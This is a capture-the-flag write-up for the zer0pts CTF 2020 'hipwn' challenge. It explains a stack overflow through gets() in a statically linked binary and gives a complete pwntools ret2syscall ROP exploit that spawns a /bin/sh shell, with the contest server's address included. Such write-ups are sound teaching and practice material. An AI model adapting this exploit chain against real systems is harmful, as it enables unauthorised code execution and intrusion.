[zer0pts CTF 2020] hipwn
Author: @ret2basic-PwnieIsland
Topics: ROP (ret2syscall)
Challenge
Hi, all pwners over the world!
chall
main.c
Recon
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Note that this binary is statically linked, so we can't use ret2libc. In addition, this binary is stripped, so we know nothing about the function names.
$ checksec chall
'/root/Dropbox/Pwnie-Island-Wargame/zer0pts_CTF/Pwn/hipwn/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Since NX is the only protection turned on, this challenge can be solved with some ROP technique.
Source Code
#include <stdio.h>
int main(void) {
char name[0x100];
puts("What's your team name?");
gets(name);
printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name);
return 0;
}
Obviously gets(name);
triggers stack overflow that allows us to control EIP.
Analysis
Since the binary is statically linked and stripped, the first thing we should try is ret2syscall. To learn more about ret2syscall, check out ret2syscall Cheat Sheet.
Let's look for necessary ROP gadgets:
However, the string /bin/sh
is not inside the binary:
This makes the challenge slightly difficult. What we have to do here is to pass the string "/bin/sh"
to the .bss
section. The address of .bss
can be easily found using Pwntools (bss = elf.bss()
). Since the binary contains the function gets
, we can call gets(bss)
to open a STDIN session and pass the string "/bin/sh"
from here.
Next, we need to find the address of gets
. But the binary is stripped, so how do deduce the location of this address? First disassemble the binary:
$ objdump -D -M intel chall > disassembly.asm
We know that the SIGSEGV happens at 0x40019c
:
So gets
must be happening a few instructions before this point. Search 40019c
in the disassembly:
There are three functions get called here:
0x40062f
0x4004ee
0x400591
According to the source code, we can deduce the correspondences based on the order that functions get called:
0x40062f
=> puts
0x4004ee
=> gets
0x400591
=> printf
So the address that we are looking for is 0x4004ee
.
Now we have everything ready for the ret2syscall attack.
Exploit
#!/usr/bin/env python3
from pwn import *
#--------setup--------#
context(arch="amd64", os="linux")
elf = ELF("chall", checksec=False)
local = True
if local:
r = elf.process()
else:
host = "13.231.207.73"
port = 9010
r = remote(host, port)
#--------Addresses--------#
pop_rax = 0x0000000000400121
pop_rdi = 0x000000000040141c
pop_rsi_pop_r15 = 0x000000000040141a
pop_rdx = 0x00000000004023f5
syscall = 0x00000000004003fc
bss = elf.bss()
gets = 0x4004ee
#--------ret2syscall--------#
offset = 264
payload = flat(
b"e" * offset,
# Round 1: call gets(bss)
pop_rdi, bss,
gets,
# Round 2: call execve("/bin/sh", 0, 0)
pop_rax, 59,
pop_rdi, bss,
pop_rsi_pop_r15, 0, 0x13371337,
pop_rdx, 0,
syscall,
)
r.readuntil("What's your team name?\n")
r.sendline(payload)
r.sendline("/bin/sh")
r.interactive()